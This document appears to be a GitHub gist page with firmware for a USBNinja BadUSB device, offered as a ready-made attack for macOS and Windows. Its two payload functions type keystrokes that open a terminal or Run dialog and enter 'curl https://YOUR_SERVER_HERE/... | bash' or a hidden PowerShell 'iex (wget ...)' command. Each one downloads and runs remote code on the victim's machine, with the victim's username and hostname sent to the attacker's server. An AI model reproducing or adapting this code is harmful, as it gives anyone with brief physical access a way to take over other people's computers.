Skip to content

Instantly share code, notes, and snippets.

@lrvick
Last active September 6, 2019 05:20
Show Gist options
  • Save lrvick/3c0832c09eab79d52f43bb530bad12f2 to your computer and use it in GitHub Desktop.
Save lrvick/3c0832c09eab79d52f43bb530bad12f2 to your computer and use it in GitHub Desktop.
One size fits all BadUSB attack for Mac/Windows for the USBNinja. Logs all attacks to server. Server can optionally provide a unique payload for each target hostname/user combo.
#include <NinjaKeyboard.h>
void setup(){}
void loop() {}
void payloadA(){
USBninjaOnline();
NinjaKeyboard.begin();
NinjaKeyboard.delay(1000);
NinjaKeyboard.sendKeyStroke(0);
NinjaKeyboard.delay(1000);
NinjaKeyboard.sendKeyStroke(KEY_SPACE, MOD_GUI_LEFT);
NinjaKeyboard.delay(100);
NinjaKeyboard.print(F("Terminal"));
NinjaKeyboard.sendKeyStroke(KEY_ENTER);
NinjaKeyboard.delay(1000);
NinjaKeyboard.print(F("curl https://YOUR_SERVER_HERE/pl-$USER-$HOST | bash"));
NinjaKeyboard.sendKeyStroke(KEY_ENTER);
//nonsense to cleanly exit and setup for a second attack on all operating systems
NinjaKeyboard.sendKeyStroke(MOD_SHIFT_LEFT);
NinjaKeyboard.delay(100);
NinjaKeyboard.sendKeyStroke(KEY_ENTER);
NinjaKeyboard.delay(500);
NinjaKeyboard.sendKeyStroke(MOD_SHIFT_LEFT);
NinjaKeyboard.delay(100);
NinjaKeyboard.end();
USBninjaOffline();
NinjaKeyboard.begin();
}
void payloadB(){
USBninjaOnline();
NinjaKeyboard.begin();
NinjaKeyboard.delay(1000);
NinjaKeyboard.sendKeyStroke(0);
NinjaKeyboard.delay(1000);
NinjaKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
NinjaKeyboard.delay(200);
NinjaKeyboard.print(F("powershell -windowstyle hidden iex (wget https://YOUR_SERVER_HERE/pl-$($env:UserName)-$($env:ComputerName))"));
NinjaKeyboard.sendKeyStroke(KEY_ENTER);
//nonsense to cleanly exit and setup for a second attack on all operating systems
NinjaKeyboard.sendKeyStroke(MOD_SHIFT_LEFT);
NinjaKeyboard.delay(100);
NinjaKeyboard.sendKeyStroke(KEY_ENTER);
NinjaKeyboard.delay(500);
NinjaKeyboard.sendKeyStroke(MOD_SHIFT_LEFT);
NinjaKeyboard.delay(100);
NinjaKeyboard.end();
USBninjaOffline();
NinjaKeyboard.begin();
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment